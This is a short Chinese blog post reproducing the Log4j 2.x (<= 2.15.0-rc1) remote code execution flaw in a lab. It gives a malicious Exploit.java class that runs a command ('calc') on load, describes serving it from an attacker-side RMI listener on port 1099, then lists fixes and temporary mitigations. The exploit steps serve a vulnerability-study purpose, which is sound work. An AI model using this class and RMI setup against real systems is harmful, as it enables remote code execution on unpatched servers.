Apache Log4j 2.x <= 2.15.0-rc1漏洞复现 1.环境搭建
创建一个新的maven项目,并导入Log4j的依赖包
2.漏洞利用,使用Log4jTest.java测试 3.编译一恶意类Exploit.classorg.apache.logging.log4j log4j-api2.11.0 org.apache.logging.log4j log4j-core2.11.0
首先新建Exploit.java,然后编译为class文件。
class Exploit { static { System.err.println("Evil has been there"); try{ String cmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exception e){ e.printStackTrace(); } } }
4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口
5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令修复方式 目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建议同时采用如下临时措施进行漏洞防范:
-
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
-
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
-
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
-
部署使用第三方防火墙产品进行安全防护。
参考链接:
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
技术交流源码放在评论区
欢迎转载、收藏、有所收获点赞支持一下!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)